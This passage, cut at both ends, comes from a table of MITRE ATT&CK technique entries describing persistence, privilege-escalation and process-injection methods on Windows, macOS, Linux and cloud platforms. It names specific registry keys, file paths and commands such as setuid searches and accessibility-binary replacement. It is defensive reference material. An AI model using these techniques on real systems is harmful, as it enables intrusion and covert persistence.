machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.\nT1547.009 | Shortcut Modification | Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware.\nT1547.005 | Security Support Provider | Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\nT1543.004 | Launch Daemon | Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)\nT1574.008 | Path Interception by Search Order Hijacking | Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\nT1484.001 | Group Policy Modification | Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)\nT1078.001 | Default Accounts | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)\nT1547.003 | Time Providers | Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)\nT1546.005 | Trap | Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)\nT1574.006 | Dynamic Linker Hijacking | Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) \nT1548 | Abuse Elevation Control Mechanism | Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.\nT1134.002 | Create Process with Token | Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.\n\nWhile this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.\nT1548.001 | Setuid and Setgid | An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)\nT1547.004 | Winlogon Helper DLL | Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.\nT1098.004 | SSH Authorized Keys | Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)\nT1546.012 | Image File Execution Options Injection | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\nT1548.005 | Temporary Elevated Cloud Access | Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Google Cloud Just in Time Access 2023)(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account.(Citation: Google Cloud Service Account Authentication Roles) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)\nT1055.013 | Process Doppelg\u00e4nging | Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. \nT1574.005 | Executable Installer File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\nT1546.008 | Accessibility Features | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe\nT1055.004 | Asynchronous Procedure Call | Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1546.009 | AppCert DLLs | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. \nT1098.005 | Device Registration | Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)\nT1055.002 | Portable Executable Injection | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1547.015 | Login Items | Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 